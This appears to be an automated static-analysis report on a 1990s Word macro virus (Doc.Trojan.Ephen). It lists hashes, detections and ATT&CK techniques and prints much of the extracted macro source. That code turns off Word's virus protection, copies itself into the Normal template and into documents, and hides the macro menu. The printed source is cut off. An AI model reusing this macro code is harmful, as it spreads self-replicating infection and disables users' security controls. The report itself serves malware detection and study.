Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0cfe7b8d4530ff4b…

MALICIOUS

Office (OLE)

33.0 KB Created: 1997-04-26 17:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e76a9679fbb8ccaab631e5ca3bd76028 SHA-1: c47ff4bfebe35717f432fff080fadb062582bdf0 SHA-256: 0cfe7b8d4530ff4b5d74198e9de8ba036b950348dc4b442d36fd11046a6ca8d8
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic macro triggered by the AutoOpen event. This macro attempts to disable macro security features and install itself into the Normal template, indicating a downloader or dropper functionality. The ClamAV detection of 'Doc.Trojan.Ephen-2' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Ephen-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ephen-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5241 bytes
SHA-256: 6d7b070d5ef32473de9bd94922a423a0f6fe83cc3e5db7ca1ea52090e731adf3
Detection
ClamAV: Doc.Trojan.Ephen-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "anjing"
Sub AutoOpen()
' bagabs by ephen 01/31/98
' On Error GoTo bagabs

WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
GlobalDoc = NormalTemplate
GlobalInstalled = False

For f = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(f).Name = "bagabs" Then
     NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item(f)
     If NormalTemplate.Saved = False Then
        NormalTemplate.Save
     End If
  End If
Next
For f = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(f).Name = "Anjing" Then
    GlobalInstalled = True
  End If
Next


If GlobalInstalled = False Then
  Application.OrganizerCopy _
    Source:=ActiveDocument.FullName, _
    Destination:=NormalTemplate.FullName, _
    Name:="Anjing", _
    Object:=wdOrganizerObjectProjectItems
  Options.SaveNormalPrompt = False
  CommandBars("Tools").Controls("Macro").Enabled = False
  For s = 13 To 16
    CommandBars("Tools").Controls(s).Enabled = False
  Next
End If

If Day(Now()) = 5 And Month(Now()) = 7 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Praise the Lord ! Now and forever . . ." + Chr(13) + Chr(13) + _
                "Thank's for Your blessing in all my life . . ."
        .Heading = "ephen"
        .Animation = 102
        .Show
    End With
End If

If Day(Now()) = 5 And Month(Now()) = 8 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "When Someone's born someone dies . . ." + Chr(13) + Chr(13) + _
                "if nobody dies, kill them . . ."
        .Heading = "Message from Grace"
        .Animation = 102
        .Show
    End With
End If

If Day(Now()) = 6 And Month(Now()) = 8 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "When Someone's born someone dies . . ." + Chr(13) + Chr(13) + _
                "if nobody dies, kill them . . ."
        .Heading = "Message from Grace Maringka"
        .Animation = 102
        .Show
    End With
End If

If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Minahasa:" + Chr(13) + "  Si Tou Timou Tumou Tou..." + Chr(13) + Chr(13) + _
        "bukang" + Chr(13) + "       Si Tou Timou Tumongko' Tou..."
        .Heading = "bagabs manguni"
        .Animation = 114
        .Show
    End With
End If
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Anti Anjing" + Chr(13) + Chr(13) + "    piara sendiri tu anjing . . ."
        .Heading = "Anti anjing"
        .Animation = 116
        .Show
    End With
End If

bagabs:
End Sub
Sub AutoClose()
' bagabs by ephen 01/31/98
On Error GoTo bagabs

WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
ActiveDoc = ActiveDocument
DocumentInstalled = False

For m = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(m).Name = "bagabs" Then
    ' DocumentInstalled = True
     ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item(m)
  End If
Next

For m = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(m).Name = "Anjing" Then
    DocumentInstalled = True
  End If
Next

If DocumentInstalled = False Then
  Application.OrganizerCopy _
    Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument.FullName, _
    Name:="Anjing", _
    Object:=wdOrganizerObjectProjectItems
End If

If Day(Now()) = 5 And Month(Now()) = 7 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Thank's 4 your attention .
... (truncated)